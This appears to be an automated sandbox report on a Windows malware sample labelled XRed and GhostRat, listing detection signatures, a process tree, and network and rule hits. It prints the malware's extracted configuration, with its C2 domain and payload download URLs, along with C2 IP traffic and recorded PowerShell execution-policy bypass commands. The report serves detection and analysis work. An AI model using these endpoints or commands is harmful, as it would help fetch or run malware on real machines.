Edit tour

Windows Analysis Report
zhuzhu.exe

Overview

General Information

Sample name:	zhuzhu.exe
Analysis ID:	1582239
MD5:	675f03db23d403573a3a6f708a0e4369
SHA1:	78ee9afafe6bf18d2c42d816629b6f9ed1e3ea2f
SHA256:	ee4c8a187e1e1bd62abe49faece1f327dc7718c736dd1e427c025d73fa796cf8
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

GhostRat, XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GhostRat

Yara detected XRed

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks if browser processes are running

Connects to many ports of the same IP (likely port scanning)

Contains functionality to capture and log keystrokes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to infect the boot sector

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Queries disk data (e.g. SMART data)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Stores large binary data to the registry

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

zhuzhu.exe (PID: 6652 cmdline: "C:\Users\user\Desktop\zhuzhu.exe" MD5: 675F03DB23D403573A3A6F708A0E4369)

._cache_zhuzhu.exe (PID: 3624 cmdline: "C:\Users\user\Desktop\._cache_zhuzhu.exe" MD5: B4F00FBA3327488D4CB6FD36B2D567C6)

._cache_zhuzhu.exe (PID: 6340 cmdline: "C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe" MD5: B4F00FBA3327488D4CB6FD36B2D567C6)

cmd.exe (PID: 7476 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 3068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7488 cmdline: cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7616 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

Synaptics.exe (PID: 5780 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 382B0F88502E718DFDF96DBC3AA3400A)

WerFault.exe (PID: 9100 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7284 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 5448 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 7364 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

inst.exe (PID: 7448 cmdline: C:\Users\user\Downloads\inst.exe MD5: AAA0F14BDFE3777EEE342C27DE409E6D)

inst.exe (PID: 7556 cmdline: C:\Users\user\Downloads\inst.exe MD5: AAA0F14BDFE3777EEE342C27DE409E6D)

Synaptics.exe (PID: 7980 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 382B0F88502E718DFDF96DBC3AA3400A)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author
zhuzhu.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
zhuzhu.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
zhuzhu.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\Documents\DTBZGIOOSO\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\DTBZGIOOSO\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXE77E.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXE77E.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Desktop\._cache_zhuzhu.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\Desktop\._cache_zhuzhu.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1772641629.0000000000403000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000001.00000000.1664705656.00000000006F9000.00000008.00000001.01000000.00000005.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000001.00000000.1663851009.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: zhuzhu.exe PID: 6652	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: zhuzhu.exe PID: 6652	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: ._cache_zhuzhu.exe PID: 3624	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: Synaptics.exe PID: 5780	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: ._cache_zhuzhu.exe PID: 6340	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.._cache_zhuzhu.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0.0.zhuzhu.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.zhuzhu.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.0.zhuzhu.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
1.0.._cache_zhuzhu.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.0.._cache_zhuzhu.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\zhuzhu.exe, ProcessId: 6652, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 5780, TargetFilename: C:\Users\user\AppData\Local\Temp\FHfEA7As.xlsm

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T04:59:11.886897+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49766	118.107.44.219	19091	TCP
2024-12-30T05:00:28.548302+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49785	118.107.44.219	19091	TCP
2024-12-30T05:01:45.453960+0100	2052875	1	A Network Trojan was detected	192.168.2.4	50264	118.107.44.219	19091	TCP
2024-12-30T05:02:54.328175+0100	2052875	1	A Network Trojan was detected	192.168.2.4	50265	118.107.44.219	19092	TCP

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T04:59:08.131786+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49738	142.250.181.238	443	TCP
2024-12-30T04:59:08.153938+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49739	142.250.181.238	443	TCP
2024-12-30T04:59:09.101725+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49744	142.250.181.238	443	TCP
2024-12-30T04:59:09.187702+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49746	142.250.181.238	443	TCP
2024-12-30T04:59:10.329717+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49750	142.250.181.238	443	TCP
2024-12-30T04:59:11.024552+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49754	142.250.181.238	443	TCP
2024-12-30T04:59:11.404430+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49756	142.250.181.238	443	TCP
2024-12-30T04:59:12.203541+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49759	142.250.181.238	443	TCP
2024-12-30T04:59:12.394110+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49764	142.250.181.238	443	TCP
2024-12-30T04:59:13.211852+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49770	142.250.181.238	443	TCP
2024-12-30T04:59:13.368014+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49772	142.250.181.238	443	TCP
2024-12-30T04:59:14.033979+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49776	142.250.181.238	443	TCP
2024-12-30T04:59:14.034144+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49778	142.250.181.238	443	TCP
2024-12-30T04:59:15.092751+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49782	142.250.181.238	443	TCP
2024-12-30T04:59:15.117270+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49781	142.250.181.238	443	TCP
2024-12-30T04:59:16.176639+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49786	142.250.181.238	443	TCP
2024-12-30T04:59:16.195952+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49787	142.250.181.238	443	TCP
2024-12-30T04:59:17.159058+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49794	142.250.181.238	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T04:59:08.668250+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.4	49743	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: zhuzhu.exe	Avira: detected
Source: zhuzhu.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dlD	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rarh	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.ini	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rar	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXE77E.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXE77E.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: zhuzhu.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: zhuzhu.exe	Virustotal: Detection: 83%			Perma Link
Source: zhuzhu.exe	ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXE77E.tmp	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: zhuzhu.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Unpacked PE file: 1.2.._cache_zhuzhu.exe.400000.0.unpack

Source: zhuzhu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 47.79.48.211:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49970 version: TLS 1.2

Source:	Binary string: \Release\Code_Shellcode.pdb source: ._cache_zhuzhu.exe, ._cache_zhuzhu.exe, 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\249110\out\Release\360P2SP.pdb source: inst.exe, 00000007.00000003.1803199164.0000000003C95000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmp, 360P2SP.dll.7.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdbX source: inst.exe, 00000007.00000002.4159349307.0000000062BE5000.00000002.00000001.01000000.00000012.sdmp, sites.dll.7.dr
Source:	Binary string: Attempt to access uninitialized member object: TVEProcessPacket.PdbForwarderContext source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr
